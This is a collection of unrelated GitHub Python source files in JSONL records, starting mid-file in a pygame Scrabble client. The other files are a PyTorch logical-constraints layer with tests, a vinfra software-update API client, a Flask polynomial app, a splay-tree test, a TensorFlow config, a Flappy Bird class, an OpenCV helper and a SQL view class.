and random_tile.visible:\n                                            player_dragging_tile = True\n                                            random_tile.being_dragged = True\n                                            tile_being_dragged = random_tile\n                            if self.render_engine.arrow.rect.collidepoint(x, y):\n                                next_arrow_click = True\n                                self.render_engine.arrow_click = True\n                            elif self.render_engine.back_arrow.rect.collidepoint(x, y):\n                                revert_arrow_click = True\n                                self.render_engine.back_arrow_click = True\n                    if event.type == MOUSEBUTTONUP and self.myTurn:\n                        x, y = event.pos\n                        if next_arrow_click and self.render_engine.arrow.rect.collidepoint(x, y):\n                            self.next_turn(changed_tiles)\n                            changed_tiles = []\n                        elif revert_arrow_click and self.render_engine.back_arrow.rect.collidepoint(x, y):\n                            self.board.revert(changed_tiles)\n                            changed_tiles = []\n                            self.render_engine.back_arrow_click = False\n            self.run()\n\n    def receiveData(self):\n        data, ip = self.socket.recvfrom(1024)\n        message = data.decode()\n        if message[0] == '-':\n            self.myTurn = True\n            message = message[1:]\n        if len(message) == BOARD_SIZE * BOARD_SIZE:\n            self.unpackString(message)\n        time.sleep(0.1)\n\n    def run(self):\n        \"\"\"\n        Calls the render_engine to render the next frame and then updates the display.\n        :return: None\n        \"\"\"\n        self.clock.tick(60)\n        self.screen.blit(self.background, (0, 0))\n        self.render_engine.render()\n        pygame.display.update()\n\n    def end_process(self):\n        \"\"\"\n        Exits game window and ends game process.\n        :return: None\n        \"\"\"\n        self.socket.sendto(\"QUIT\".encode(), self.server)\n        self.running = False\n        pygame.quit()\n        sys.exit()\n\n    def next_turn(self, changed_tiles):\n        \"\"\"\n        Moves the game to the next turn, if the previous turn was valid.\n\n        :param changed_tiles: List of Tuples of (row, col) of each tile that has been changed\n                              since the last turn\n        :return: None\n        \"\"\"\n        if self.check_turn(changed_tiles):\n            self.turn += 1\n            self.sendBoard()\n        self.render_engine.arrow_click = False\n\n    def check_turn(self, changed_tiles):\n        \"\"\"\n        Checks if the current turn is a valid turn.\n\n        :param changed_tiles: List of Tuples of (row, col) of each tile that has been changed\n                              since the last turn\n        :return: True iff the current turn is a valid turn. Else return False.\n        \"\"\"\n        good_move = False\n        if self.board.check_if_good_move(changed_tiles, self.turn):\n            self.player.points += self.board.word_manager.calculate_points(self.board.word_list)\n            self.board.regenerate_randoms()\n            good_move = True\n        else:\n            self.board.revert(changed_tiles)\n        return good_move\n\n    def load_background(self):\n        \"\"\"\n        Loads the background image and resizes it to match the dimensions of the window\n\n        :return: Returns the resized background image texture\n        \"\"\"\n        background = pygame.image.load(BACKGROUND_IMAGE).convert_alpha()\n        background = pygame.transform.scale(background, (SCREEN_WIDTH, SCREEN_HEIGHT))\n        return background\n\n    def unpackString(self, string):\n        print(\"Unpacking: \" + string)\n        for row in range(11):\n            for col in range(11):\n                self.board.tiles[row][col].change_to(string[row*11 + col])\n\n    def packString(self):\n        message = \"\"\n        for row in range(11):\n            for col in range(11):\n                message += self.board.tiles[row][col].letter\n        return message\n\n    def sendBoard(self):\n        self.socket.sendto(self.packString().encode(), self.server)\n        self.myTurn = False\n\nMain()\n","repo_name":"TheGoldenKyle/Scrabble","sub_path":"src/game/Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":7534,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"3781354794","text":"from importlib_metadata import requires\nimport numpy as np\nimport torch \nimport pytest\nimport json\n\nfrom torch import nn\nfrom .literal import Literal\nfrom .constraint import Constraint\nfrom .constraints_group import ConstraintsGroup\nfrom .profiler import Profiler\n\nclass ConstraintsModule(nn.Module):\n    profiler = Profiler.shared().branch('cm')\n\n    @profiler.wrap\n    def __init__(self, constraints_group, num_classes):\n        super(ConstraintsModule, self).__init__()\n        head, body = constraints_group.encoded(num_classes)\n        pos_head, neg_head = head\n        pos_body, neg_body = body\n\n        # Compute necessary atoms\n        self.atoms = nn.Parameter(torch.tensor(list(constraints_group.atoms())), requires_grad=False)\n        reindexed = { float(atom): i for i, atom in enumerate(self.atoms) }\n        if len(self.atoms) == 0: return \n\n        # Reduce tensors to minimal size and reindex heads\n        pos_head, neg_head = self.to_minimal(pos_head), self.to_minimal(neg_head)\n        pos_body, neg_body = self.to_minimal(pos_body), self.to_minimal(neg_body)\n\n        heads = [constraint.head for constraint in constraints_group]\n        self.heads = [Literal(reindexed[head.atom], head.positive) for head in heads]\n        \n        # Module parameters\n        self.pos_head = nn.Parameter(torch.from_numpy(pos_head).float(), requires_grad=False)\n        self.neg_head = nn.Parameter(torch.from_numpy(neg_head).float(), requires_grad=False)\n        self.pos_body = nn.Parameter(torch.from_numpy(pos_body).float(), requires_grad=False)\n        self.neg_body = nn.Parameter(torch.from_numpy(neg_body).float(), requires_grad=False)\n\n        # Precomputed parameters\n        self.symm_body = nn.Parameter((self.pos_body - self.neg_body).t(), requires_grad=False)\n        self.symm_head = nn.Parameter((self.pos_head - self.neg_head).t(), requires_grad=False)\n        self.literals_count = nn.Parameter(self.pos_body.sum(dim=1) + self.neg_body.sum(dim=1), requires_grad=False)\n    \n    def dimensions(self, pred):\n        batch, num = pred.shape[0], pred.shape[1]\n        cons = self.pos_head.shape[0]\n        return batch, num, cons\n\n    @staticmethod\n    @profiler.wrap\n    def from_symmetric(preds):\n        return (preds + 1) / 2\n\n    @staticmethod\n    @profiler.wrap\n    def to_symmetric(preds):\n        return 2 * preds - 1\n\n    @profiler.wrap\n    def to_minimal(self, tensor, atoms = None):\n        if atoms is None: atoms = self.atoms\n        return tensor[:, atoms].reshape(tensor.shape[0], len(atoms))\n\n    @profiler.wrap\n    def from_minimal(self, tensor, init, atoms = None):\n        if atoms is None: atoms = self.atoms\n        return init.index_copy(1, atoms, tensor)\n\n    # Get constraints with full sat body and those with unsat head\n    @profiler.wrap\n    def active_constraints(self, goal):\n        symm_goal = ConstraintsModule.to_symmetric(goal)\n        full_body = torch.matmul(symm_goal, self.symm_body) == self.literals_count\n        unsat_head = torch.matmul(symm_goal, self.symm_head) == -1\n        return full_body, unsat_head \n\n    # Apply constraints together with 3D tensors\n    @profiler.wrap\n    def apply_tensor(self, preds, active_constraints=None, body_mask=None):\n        batch, num, cons = self.dimensions(preds)\n\n        # batch x cons x num: prepare (preds x body)\n        exp_preds = preds.unsqueeze(1).expand(batch, cons, num)\n        pos_body = self.pos_body.unsqueeze(0).expand(batch, cons, num)\n        neg_body = self.neg_body.unsqueeze(0).expand(batch, cons, num)\n        \n        # batch x cons x num: ignore literals from constraints\n        if body_mask != None:\n            body_mask = body_mask.unsqueeze(1).expand(batch, cons, num)\n            pos_body = pos_body * (1 - body_mask) \n            neg_body = neg_body * body_mask\n        \n        # batch x cons: compute body minima\n        body_rev = pos_body + exp_preds * (neg_body - pos_body)\n        body_min = 1. - torch.max(body_rev, dim=2).values\n        \n        # batch x cons: ignore constraints\n        if active_constraints != None:\n            body_min = body_min * active_constraints.float()\n        \n        # batch x cons x num: prepare (body_min x head)\n        body_min = body_min.unsqueeze(2).expand(batch, cons, num)\n        pos_head = self.pos_head.unsqueeze(0).expand(batch, cons, num)\n        neg_head = self.neg_head.unsqueeze(0).expand(batch, cons, num)\n        \n        # batch x num: compute head lower and upper bounds\n        lb = torch.max(body_min * pos_head, dim=1).values\n        ub = 1 - torch.max(body_min * neg_head, dim=1).values\n        lb, ub = torch.minimum(lb, ub), torch.maximum(lb, ub)\n\n        preds = torch.maximum(lb, torch.minimum(ub, preds))\n        return preds\n\n    # Apply constraints iteratively with 2D matrices\n    @profiler.wrap\n    def apply_iter(self, preds, active_constraints=None, body_mask=None, in_bounds=None, out_bounds=False):\n        batch, num, cons = self.dimensions(preds)\n        device = preds.device\n\n        if not active_constraints is None: active_constraints = active_constraints.float()\n        zeros = torch.zeros(batch, 1, device=device)\n\n        profiler = ConstraintsModule.profiler.branch('iter')\n\n        with profiler.watch('init'):\n            if in_bounds is None:\n                lb = [torch.zeros(preds.shape[0], device=device) for i in range(preds.shape[1])]\n                ub = [torch.ones(preds.shape[0], device=device) for i in range(preds.shape[1])]\n            else: \n                lb, ub = in_bounds\n\n        with profiler.watch('precompute'):\n            bool_pos_body = self.pos_body.bool()\n            bool_neg_body = self.neg_body.bool()\n\n            full_pos_body = 1 - preds\n            full_neg_body = preds\n\n            if not body_mask is None:\n                full_pos_body = (1 - preds) * (1 - body_mask)\n                full_neg_body = preds * body_mask\n\n        for c, lit in enumerate(self.heads):\n            # slice positive and negative body preds\n            with profiler.watch('where'):\n                pos_where = bool_pos_body[c]\n                neg_where = bool_neg_body[c]\n\n            # body predictions (possibly masked) \n            with profiler.watch('body'):\n                pos_body = full_pos_body[:, pos_where]\n                neg_body = full_neg_body[:, neg_where]\n\n            # compute maximal inverted values\n            with profiler.watch('candidate'):\n                candidate = torch.cat((zeros, pos_body, neg_body), dim=1)\n                candidate = 1 - candidate.max(dim=1).values\n\n            # clear inactive constraints\n            with profiler.watch('active_cons'):\n                if not active_constraints is None:\n                    candidate = candidate * active_constraints[:, c]\n\n            # update preds\n            with profiler.watch('min_max'):\n                if lit.positive:\n                    lb[lit.atom] = torch.maximum(lb[lit.atom], candidate)\n                else:\n                    ub[lit.atom] = torch.minimum(ub[lit.atom], 1 - candidate)\n\n        with profiler.watch('lb_ub'):\n            if out_bounds:\n                return lb, ub\n\n            lb, ub = torch.stack(lb, dim=1), torch.stack(ub, dim=1)\n            lb, ub = torch.minimum(lb, ub), torch.maximum(lb, ub)\n            updated = torch.maximum(lb, torch.minimum(ub, preds))\n\n            return updated\n\n    @profiler.wrap\n    def apply(self, preds, iterative):\n        if iterative:\n            return self.apply_iter(preds)\n        else:\n            return self.apply_tensor(preds)\n\n    @profiler.wrap \n    def apply_goal(self, preds, goal, iterative):\n        full_body, unsat_head = self.active_constraints(goal)\n        body_mask = goal\n        \n        if iterative:\n            bounds = self.apply_iter(preds, active_constraints=full_body, out_bounds=True)\n            updated = self.apply_iter(preds, active_constraints=unsat_head, body_mask=body_mask, in_bounds=bounds)\n        else:\n            updated = self.apply_tensor(preds, active_constraints=full_body)\n            updated = self.apply_tensor(updated, active_constraints=unsat_head, body_mask=body_mask) \n\n        return updated\n        \n    @profiler.wrap\n    def forward(self, preds, goal = None, iterative=True):\n        if len(preds) == 0 or len(self.atoms) == 0:\n            return preds\n\n        updated = self.to_minimal(preds)\n\n        if goal is None:\n            updated = self.apply(updated, iterative=iterative)\n            return self.from_minimal(updated, preds)\n        else:\n            goal = self.to_minimal(goal)\n            updated = self.apply_goal(updated, goal=goal, iterative=iterative)\n            return self.from_minimal(updated, preds)\n\ndef test_symmetric():\n    pos = torch.from_numpy(np.arange(0., 1., 0.1))\n    symm = torch.from_numpy(np.arange(-1., 1., 0.2))\n    assert torch.isclose(ConstraintsModule.to_symmetric(pos), symm).all() \n    assert torch.isclose(ConstraintsModule.from_symmetric(symm), pos).all()  \n\ndef run_cm(cm, preds, goal=None, device='cpu'):\n    cm, preds = cm.to(device), preds.to(device)\n    if not goal is None: goal = goal.to(device)\n\n    iter = cm(preds, goal=goal, iterative=True)\n    tens = cm(preds, goal=goal, iterative=False)\n    assert torch.isclose(iter, tens).all()\n    return iter.cpu()\n\ndef _test_no_goal(device):\n    group = ConstraintsGroup([\n        Constraint('1 :- 0'),\n        Constraint('2 :- n3 4'),\n        Constraint('n5 :- 6 n7 8'),\n        Constraint('2 :- 9 n10'),\n        Constraint('n5 :- 11 n12 n13'),\n    ])\n    cm = ConstraintsModule(group, 14)\n    preds = torch.rand((5000, 14))\n    updated = run_cm(cm, preds, device=device).numpy()\n    assert group.coherent_with(updated).all()\n        \ndef _test_positive_goal(device): \n    group = ConstraintsGroup([\n        Constraint('0 :- 1 n2'),\n        Constraint('3 :- 4 n5'),\n        Constraint('n7 :- 7 n8'),\n        Constraint('n9 :- 10 n11')\n    ])\n\n    cm = ConstraintsModule(group, 12)\n    preds = torch.rand((5000, 12))\n    goal = torch.tensor([1., 1., 0., 1., 1., 1., 0., 1., 0., 0., 0., 0.]).unsqueeze(0).expand(5000, 12)\n    updated = run_cm(cm, preds, goal=goal, device=device).numpy()\n    assert (group.coherent_with(updated).all(axis=0) == [True, False, True, False]).all()\n\ndef _test_negative_goal(device):\n    group = ConstraintsGroup([\n        Constraint('0 :- 1 n2 3 n4'),\n        Constraint('n5 :- 6 n7 8 n9')\n    ])\n    reduced_group = ConstraintsGroup([\n        Constraint('0 :- 1 n2'),\n        Constraint('n5 :- 6 n7')\n    ])\n\n    cm = ConstraintsModule(group, 10)\n    preds = torch.rand((5000, 10))\n    goal = torch.tensor([0., 0., 1., 1., 0., 1., 0., 1., 1., 0.]).unsqueeze(0).expand(5000, 10)\n    updated = run_cm(cm, preds, goal=goal, device=device).numpy()\n    assert reduced_group.coherent_with(updated).all()\n\ndef test_goal_cpu():\n    _test_no_goal('cpu')\n    _test_negative_goal('cpu')\n    _test_positive_goal('cpu')\n\n@pytest.mark.skipif(not torch.cuda.is_available(), reason=\"CUDA not available\")\ndef test_goal_cuda():\n    _test_no_goal('cuda')\n    _test_negative_goal('cuda')\n    _test_positive_goal('cuda')\n    print(json.dumps(ConstraintsModule.profiler.combined(), indent=4, sort_keys=True))\n\ndef _test_empty_preds(device):\n    group = ConstraintsGroup([\n        Constraint('0 :- 1')\n    ])\n\n    cm = ConstraintsModule(group, 2)\n    preds = torch.rand((0, 2))\n    goal = torch.rand((0, 2))\n    updated = run_cm(cm, preds, goal=goal, device=device)\n    assert updated.shape == torch.Size([0, 2])\n\ndef _test_no_constraints(device):\n    group = ConstraintsGroup([])\n    cm = ConstraintsModule(group, 10)\n    preds = torch.rand((500, 10))\n    goal = torch.rand((500, 10))\n\n    updated = run_cm(cm, preds, device=device)\n    assert (updated == preds).all()\n    updated = run_cm(cm, preds, goal=goal, device=device)\n    assert (updated == preds).all()\n\ndef test_empty_preds_constraints_cpu():\n    _test_empty_preds('cpu')\n    _test_no_constraints('cpu')\n\n@pytest.mark.skipif(not torch.cuda.is_available(), reason=\"CUDA not available\")\ndef test_empty_preds_constraints_cuda():\n    _test_empty_preds('cuda')\n    _test_no_constraints('cuda')\n\ndef test_lb_ub():\n    group = ConstraintsGroup([ \n        Constraint('0 :- 1'),\n        Constraint('n0 :- 2')\n    ])\n    cm = ConstraintsModule(group, 3)\n    preds = torch.tensor([ \n        [0.5, 0.6, 0.3],\n        [0.65, 0.6, 0.3],\n        [0.8, 0.6, 0.3],\n        [0.5, 0.7, 0.4],\n        [0.65, 0.7, 0.4],\n        [0.8, 0.7, 0.4],\n    ])\n    \n    updated = run_cm(cm, preds)\n    assert (updated[:, 0] == torch.tensor([0.6, 0.65, 0.7] * 2)).all()\n\ndef _test_time(iterative, device):\n    group = ConstraintsGroup('../constraints/full')\n    cm = ConstraintsModule(group, 41).to(device)\n    preds = torch.rand(5000, 41, device=device)\n    cm(preds, iterative=iterative)\n\ndef test_time_iterative_cpu():\n    for i in range(10):\n        _test_time(True, 'cpu')\n\ndef test_time_tensor_cpu():\n    for i in range(10):\n        _test_time(False, 'cpu')\n\n@pytest.mark.skipif(not torch.cuda.is_available(), reason=\"CUDA not available\")\ndef test_time_iterative_cuda():\n    for i in range(10):\n        _test_time(True, 'cuda')\n\n@pytest.mark.skipif(not torch.cuda.is_available(), reason=\"CUDA not available\")\ndef test_time_tensor_cuda():\n    for i in range(10):\n        _test_time(False, 'cuda')","repo_name":"atatomir/CCN","sub_path":"ccn/constraints_module.py","file_name":"constraints_module.py","file_ext":"py","file_size_in_byte":13292,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"40320795021","text":"from vinfra.api import base\nfrom vinfra.api_versions import APIVersion\nfrom vinfra.client import ApiV3\nfrom vinfra.utils import flatten_args\n\n\nV3_BACKEND_VERSION = APIVersion('6.0.19')\nV3_MAINTENANCE_BACKEND_VERSION = APIVersion('6.1.17')\nV3_CONTROL_PLANE_BACKEND_VERSION = APIVersion('7.0.50')\n\n\ndef maintenance_to_mode(maintenance):\n    if not maintenance['enabled']:\n        return 'no_maintenance'\n    elif maintenance['on_fail'] == 'force':\n        return 'force'\n    elif maintenance['on_fail'] == 'skip':\n        return 'skip'\n    return 'stop'\n\n\nclass SoftwareUpdatesManager(object):\n\n    def __init__(self, api):\n        self.api = api\n\n    def get(self):\n        if self.api.backend_version >= V3_BACKEND_VERSION:\n            with ApiV3(self.api.client):\n                return self.api.client.get('/software_updates')\n        else:\n            return self.api.client.get('/software_updates')\n\n    def start_async(self, req):\n        params = {\n            'accept_eula': req.get('accept_eula', False)\n        }\n        if self.api.backend_version >= V3_CONTROL_PLANE_BACKEND_VERSION:\n            nodes = req.get('nodes')\n            if nodes is not None:\n                params['nodes'] = [base.get_id(v) for v in nodes]\n                params['control_plane'] = False\n            else:\n                params['control_plane'] = not req['skip_control_plane']\n        elif self.api.backend_version >= V3_BACKEND_VERSION:\n            nodes = req.get('nodes')\n            if nodes is not None:\n                params['nodes'] = [base.get_id(v) for v in nodes]\n                params['services'] = {\n                    'compute': {\n                        'update': not nodes,\n                    },\n                }\n\n        maintenance = req['maintenance']\n        if self.api.backend_version >= V3_MAINTENANCE_BACKEND_VERSION:\n            params['maintenance'] = {\n                'enabled': maintenance['enabled']\n            }\n            if maintenance['enabled']:\n                params['maintenance']['params'] = {\n                    'on_fail': maintenance['on_fail'],\n                    'compute': {\n                        'mode': maintenance['compute_mode'],\n                    }\n                }\n        else:\n            params['mode'] = maintenance_to_mode(maintenance)\n\n        data = flatten_args(**params)\n        if self.api.backend_version >= V3_BACKEND_VERSION:\n            with ApiV3(self.api.client):\n                return self.api.client.post_async('/software_updates/start', json=data)\n        else:\n            return self.api.client.post_async('/software_updates/start', json=data)\n\n    @base.async_wait\n    def start(self, **kwargs):\n        return self.start_async(**kwargs)\n\n    def resume_async(self):\n        if self.api.backend_version >= V3_BACKEND_VERSION:\n            with ApiV3(self.api.client):\n                return self.api.client.post_async('/software_updates/resume')\n        else:\n            return self.api.client.post_async('/software_updates/resume')\n\n    @base.async_wait\n    def resume(self):\n        return self.resume_async()\n\n    def check_for_update_async(self):\n        if self.api.backend_version >= V3_BACKEND_VERSION:\n            with ApiV3(self.api.client):\n                return self.api.client.post_async('/software_updates/check_for_update')\n        else:\n            return self.api.client.post_async('/software_updates/check_for_update')\n\n    @base.async_wait\n    def check_for_update(self):\n        return self.check_for_update_async()\n\n    def download_async(self):\n        if self.api.backend_version >= V3_BACKEND_VERSION:\n            with ApiV3(self.api.client):\n                return self.api.client.post_async('/software_updates/download')\n        else:\n            return self.api.client.post_async('/software_updates/download')\n\n    @base.async_wait\n    def download(self):\n        return self.download_async()\n\n    def eligibility_check_async(self):\n        if self.api.backend_version >= V3_BACKEND_VERSION:\n            with ApiV3(self.api.client):\n                return self.api.client.post_async('/software_updates/eligibility_check')\n        else:\n            return self.api.client.post_async('/software_updates/eligibility_check')\n\n    @base.async_wait\n    def eligibility_check(self):\n        return self.eligibility_check_async()\n\n    def pause_async(self):\n        if self.api.backend_version >= V3_BACKEND_VERSION:\n            with ApiV3(self.api.client):\n                return self.api.client.post_async('/software_updates/pause')\n        else:\n            return self.api.client.post_async('/software_updates/pause')\n\n    @base.async_wait\n    def pause(self):\n        return self.pause_async()\n\n    def cancel_async(self, maintenance_mode):\n        if self.api.backend_version >= V3_BACKEND_VERSION:\n            params = {\n                'maintenance_mode': maintenance_mode,\n            }\n            data = flatten_args(**params)\n            with ApiV3(self.api.client):\n                return self.api.client.delete_async('/software_updates/start', json=data)\n        else:\n            return self.api.client.delete_async('/software_updates/start')\n\n    @base.async_wait\n    def cancel(self, **kwargs):\n        return self.cancel_async(**kwargs)\n","repo_name":"acronis/vinfra","sub_path":"vinfra/api/software_updates.py","file_name":"software_updates.py","file_ext":"py","file_size_in_byte":5253,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"}
{"seq_id":"13494791458","text":"from flask import Flask, render_template, flash, request, Markup\nfrom wtforms import Form, StringField, validators\nfrom src.opt import get_sos\nfrom sympy import poly, latex, sympify, nan\nfrom src.poly import get_latex_from_poly, is_polynomial\n\nDEBUG = True\napp = Flask(__name__)\napp.config.from_object(__name__)\napp.config['SECRET_KEY'] = 'SjdnUends821Jsdlkvxh391ksdODnejdDw'\n\n\nclass ReusableForm(Form):\n    polynomial = StringField('Polynomial', validators=[validators.DataRequired()])\n\n\n@app.route('/', methods=['GET', 'POST'])\ndef hello():\n    form = ReusableForm(request.form)\n    if request.method == 'POST':\n        _input = request.form['polynomial']\n        if form.validate() and is_polynomial(_input):\n            _polynomial = poly(_input)\n            msg, sos = get_sos(_polynomial)\n            if sos == nan:\n                flash(Markup(f'<strong>Input</strong>: \\({latex(sympify(_input))}\\)'))\n                flash(Markup(f'<strong>Result</strong>: {msg}'))\n            else:\n                flash(Markup(f'<strong>Result</strong>: \\({latex(sympify(_input))} = {get_latex_from_poly(sos)}\\)'))\n        else:\n            flash('Error: Non-constant polynomial required')\n    return render_template('index.html', form=form)\n\n\nif __name__ == '__main__':\n    app.run()\n","repo_name":"thanosdpapaioannou/decompoly","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1279,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"29130499927","text":"import random\nfrom custom_data_structures.splay_tree.splay_tree import SplayTree\n\n\ndef main():\n    # n: int = int(input())\n    # s: int = 0\n    # def f(i: int) -> int:\n    #     return (i + s) % 1000000001\n    #\n    # tree = SplayTreeImplicitKeys()\n    # for _ in range(n):\n    #     line = input()\n    #     if line.startswith(\"s\"):\n    #         _, l, r = line.strip().split(\" \")\n    #         l, r = int(l), int(r)\n    #         s = tree.sum(f(l), f(r))\n    #         print(s)\n    #     else:\n    #         op, i = line.strip().split(\" \")\n    #         i = int(i)\n    #         if op == \"+\":\n    #             tree.insert(f(i))\n    #         if op == \"-\":\n    #             tree.remove(f(i))\n    #         if op == \"?\":\n    #             node = tree.search(f(i))\n    #             if node:\n    #                 print(\"Found\")\n    #             else:\n    #                 print(\"Not found\")\n\n    tree = SplayTree()\n    set_ = set()\n    cmds = ['insert', 'delete', 'find', 'sum']\n    for _ in range(500):\n        cmd_idx = random.randint(0, 3)\n        rand_cmd = cmds[cmd_idx]\n        rand_int = random.randint(0, 100)\n        if rand_cmd == 'insert':\n            print(f'inserting {rand_int}')\n            set_.add(rand_int)\n            tree.insert(rand_int)\n        if rand_cmd == 'delete':\n            print(f'deleting {rand_int}')\n            tree.remove(rand_int)\n            try:\n                set_.remove(rand_int)\n            except KeyError:\n                pass\n        if rand_cmd == 'find':\n            print(f'finding {rand_int}')\n            found_node = tree.search(rand_int)\n            is_in_set = rand_int in set_\n            assert (found_node is not None) is is_in_set\n        if rand_cmd == 'sum':\n            l = random.randint(0, 50)\n            r = random.randint(50, 100)\n            print(f'sum l={l} r={r}')\n            print(tree.sum(l, r))\n        if tree.root:\n            print('after operation:')\n            tree.root.display()\n        result = []\n        assert tree.in_order_traversal(result)\n        assert len(result) == len(set_)\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"sayanarii/CS_data_structures","sub_path":"4_binary_search_trees/task4_splay_tree.py","file_name":"task4_splay_tree.py","file_ext":"py","file_size_in_byte":2113,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"22760058063","text":"import tensorflow as tf\n#\n# PROPERTIES\n#\nFEATURE_PROPS={\n        'tile_id': tf.string,\n        'date': tf.string,\n        'crs': tf.string,\n        'lon': tf.float32,\n        'lat': tf.float32,\n        'cirrus_score': tf.float32,\n        'opaque_score': tf.float32,\n        'black_score': tf.float32,\n        'centroid_lc_type': tf.float32,\n        'BIOME_NUM': tf.float32,\n        'BIOME_NAME': tf.string,\n        'ECO_NAME': tf.string,\n        'ECO_ID': tf.float32,\n        'country_na': tf.string,\n        'wld_rgn': tf.string\n}\nINPUT_BANDS=['B1', 'B2', 'B3', 'B4', 'B5', 'B6', 'B7', 'B8', 'B8A', 'B9', 'B11', 'B12']\nRGB_BANDS=['red','green','blue']\nCLOUD_BANDS=['cirrus','opaque']\nBANDS=INPUT_BANDS+RGB_BANDS+CLOUD_BANDS\n#\n# IMAGE CONFIG\n#\nSIZE=510\nHALF_SIZE=SIZE//2\nRES=10\nPATCH_DIMS=[SIZE, SIZE]\n#\n# GCS/RUN\n#\nBUCKET='living-map-dev'\nFOLDER='tmp'\nNOISY=False\nNOISE_REDUCER=100\n#\n# PARSER\n#\nCOMPRESSION_TYPE='GZIP'\nPARALLEL_FILE_READS=5\nPARALLEL_PARSE_CALLS=2\nDEFAULT_STR_VALUE=''\nDEFAULT_NB_VALUE=0","repo_name":"wri/tfr_to_livingmap","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1004,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"37735433253","text":"import pygame\nimport os\n\nclass Bird:\n    ACCELERATION = 1 #Value for how fast the bird should accelerate downwards\n    JUMP_CONST = -4.0 #Value for how much the bird should accelerate up by when it jumps\n    TERMINAL_VELOCITY = 10.0 #Value for the amount of displacement where the bird stops accelerating\n    \n    def __init__(self, x, y, img = pygame.transform.scale(pygame.image.load(os.path.join(\"Assets\",\"FBird_mediumwings.png\")).convert_alpha(), (51, 36))):\n        self.img = img\n        self.x = x\n        self.y = y\n        self.height = self.y\n        self.velocity = 0.0\n        self.tick = 0\n        self.rect = pygame.Rect(self.x, self.y, img.get_width(), img.get_height())\n        self.failed = False\n        \n    #def update(self):\n\n    def jump(self):\n        self.velocity = self.JUMP_CONST\n        self.tick = 0 #To restart the acceleration\n        self.height = self.y\n        \n    def move(self):\n        self.tick += 1\n        #y = ax^2 + bx\n        #d = vt + 0.5(at^2) kinematic equation, getting displacement of y for the movement of the bird\n        displacement = self.velocity*(self.tick/2) + (0.5)*(self.ACCELERATION)*(self.tick/2)**2\n\n        if displacement >= self.TERMINAL_VELOCITY:\n            displacement = self.TERMINAL_VELOCITY if displacement > 0 else (-1)*(self.TERMINAL_VELOCITY) #Stays at T.V with the correct direction\n\n        if displacement < 0:\n            displacement -= 2 #If it jumped, make the acceleration upwards slowly turn downwards\n\n        if self.y > 700:\n            displacement = 0\n\n        self.y = self.y + displacement\n        self.rect.y = self.y\n    def draw(self, window):\n        window.blit(self.img, (self.rect.x, self.rect.y))\n    def stop(self):\n        self.JUMP_CONST = 0\n    def start(self):\n        self.JUMP_CONST = -10.0\n","repo_name":"TheHassanAli2/flappy-bird-ai","sub_path":"src/bird.py","file_name":"bird.py","file_ext":"py","file_size_in_byte":1797,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"}
{"seq_id":"37798548799","text":"import cv2\nimport numpy as np\n\ndef displayWindows(names, images, widthLimit=1000):\n  if len(names) == 0:\n    return\n  images2DArray = []\n  row = []\n  rowWidth = 0\n  h, w, _ = images[0].shape\n  \n  for img in images:\n    row.append(img)\n    rowWidth += w\n    lastRowAdded = False\n    if rowWidth >= widthLimit:\n      images2DArray.append(row)\n      row = []\n      rowWidth = 0\n      lastRowAdded = True\n  if not lastRowAdded:\n    images2DArray.append(row)\n  height = len(images2DArray) * h\n  width = len(images2DArray[0]) * w\n  windowImage = np.zeros((height,width,3), np.uint8)\n  nameIndex = 0\n  for i in range(len(images2DArray)):\n    row = images2DArray[i]\n    for j in range(len(row)):\n      windowImage[h * i:h * i + h, w * j:w * j + w] = img[::]\n      cv2.putText(windowImage, names[nameIndex], (w * j, h * i + 22), cv2.FONT_HERSHEY_SIMPLEX, 0.8, (255,255,255), 1, 8)\n      nameIndex += 1\n  cv2.imshow('Window', windowImage)\n","repo_name":"ncsurobotics/DEPRECATED-seawolf_8_summer_2019","sub_path":"src/display/bigWindow.py","file_name":"bigWindow.py","file_ext":"py","file_size_in_byte":929,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"19296091360","text":"\"\"\"\r\nThis class is derived class of a table\r\n\"\"\"\r\nfrom Errors import QueryError\r\nfrom Table import Table\r\n\r\n\r\nclass View:\r\n    def __init__(self, name, query, database):\r\n        \"\"\"\r\n        Initializes the view\r\n        :param query:\r\n        \"\"\"\r\n        self.name = name\r\n        self.query = query\r\n        self.database = database\r\n        self.columns = list()\r\n\r\n        # Parses the query to get the data it needs\r\n        i = 1\r\n        while query[i] != \"FROM\":\r\n            if query[i] == \",\":\r\n                i += 1\r\n                continue\r\n            if query[i + 1] == \",\" or query[i + 1] == \"FROM\":  # preceded by a comma or FROM is next\r\n                self.columns.append(query[i])\r\n            else:\r\n                raise QueryError(\"Missing comma separator\")\r\n            i += 1\r\n        i += 2\r\n        self.sub_name = query[i-1]\r\n\r\n        # removes '*'\r\n        for col in self.columns:\r\n            if col == '*':\r\n                self.columns = [h for h in self.database.tables[self.sub_name].headers.keys()]\r\n\r\n    def select(self, columns_to_get, order_by, distinct, where, collations, aggregates):\r\n        data = self.database.select_prep(self.query)\r\n        table = Table(self.sub_name, self.columns, False, [self.sub_name], {})\r\n        table.table = data\r\n\r\n        # Sets the types/headers for the table\r\n        table.headers = {col: i for i, col in enumerate(self.columns)}\r\n\r\n        # Gets the related table names\r\n        for col in self.columns:\r\n            found = col.find('.')\r\n            if found != -1 and col[:found] not in table.rel_tables:\r\n                table.rel_tables.append(col[:found])\r\n\r\n        return table.select(columns_to_get, order_by, distinct, where, collations, aggregates)","repo_name":"Brenhein/sqlite3-Interpreter-Implementation","sub_path":"View.py","file_name":"View.py","file_ext":"py","file_size_in_byte":1747,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
